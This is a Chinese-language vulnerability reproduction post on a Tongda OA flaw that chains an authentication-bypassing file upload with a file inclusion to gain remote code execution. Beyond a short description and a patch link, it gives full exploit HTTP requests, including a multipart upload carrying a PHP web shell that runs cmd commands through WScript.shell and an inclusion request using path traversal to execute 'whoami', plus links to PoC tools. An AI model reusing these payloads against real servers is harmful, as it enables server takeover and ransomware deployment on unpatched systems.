通達OA 任意文件上傳+文件包含導致RCE漏洞復現


通達OA 任意文件上傳+文件包含導致RCE漏洞復現

 

0X00漏洞簡介

通達OA(Office Anywhere網絡智能辦公系統)是由北京通達信科科技有限公司自主研發的協同辦公自動化系統,包括流程審批、行政辦公、日常事務、數據統計分析、即時通訊、移動辦公等。

該漏洞被黑產利用,用於投放勒索病毒

該漏洞在繞過身份驗證的情況下通過文件上傳漏洞上傳惡意php文件,組合文件包含漏洞最終造成遠程代碼執行漏洞,從而導致可以控制服務器system權限。

 

 

0X01漏洞影響

V11版、2017版、2016版、2015版、2013增強版、2013版

0X02漏洞原理

被授權的遠程攻擊者通過文件上傳配合文件包含,觸發遠程惡意代碼執行。系統中auth.php是登陸驗證的相關邏輯,upload.php中$P參數如果非空就不需要經過auth.php驗證即可執行后續代碼。利用此處邏輯漏洞可繞過登陸驗證直接上傳文件。攻擊者可通過精心構造json進入47行的includ_once進行文件包含

0X03漏洞環境搭建

我用的環境是通達V11下載地址為

鏈接:https://pan.baidu.com/s/1nm-kBi4zOwXDZFtjmf7n2Q

提取碼:z863

如果需要看源碼的使用解密工具解密查看即可解密工具下載地址為

鏈接:https://pan.baidu.com/s/1-Bzki6lLOflFIlhIY2gNzg

提取碼:akiz

下載好源碼后解壓縮直接運行EXE文件安裝,訪問localhost即可。

 

0X04漏洞復現

有些版本gateway.php路徑不同

如2013:

/ ispirit/ im/ upload. php

/ ispirit/ interface/ gateway . php

2017:

/ispirit/ im/ upload. php

/ mac/ gateway. Php

 

本文使用的v11版本路徑為

/ispirit/im/upload.php

/ispirit/interface/gateway.php

 

訪問任意文件上傳漏洞路徑/ispirit/im/upload.php

使用burp抓包發送小馬數據包可以看到成功上傳

訪問本地文件包含漏洞 /ispirit/interface/gateway.php

使用burp抓包發送構造文件包含數據包並執行命令

0X05poc工具

https://github.com/M4tir/tongda-oa-tools

https://github.com/fuhei/tongda_rce

0X06exp代碼

文件上傳

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.1.106
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST[&apos;cmd&apos;];
$wsh = new COM(&apos;WScript.shell&apos;);
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

 

文件包含

POST /mac/gateway.php HTTP/1.1
Host: 10.10.20.116:88
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003/941633647.jpg"}&cmd=whoami

 

exp代碼有問題可以加群向群主反饋,復現遇到的問題也可以一起研究。

代碼分析部分請加群獲取

0X07修復建議

更新官方補丁

http://www.tongda2000.com/news/673.php


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM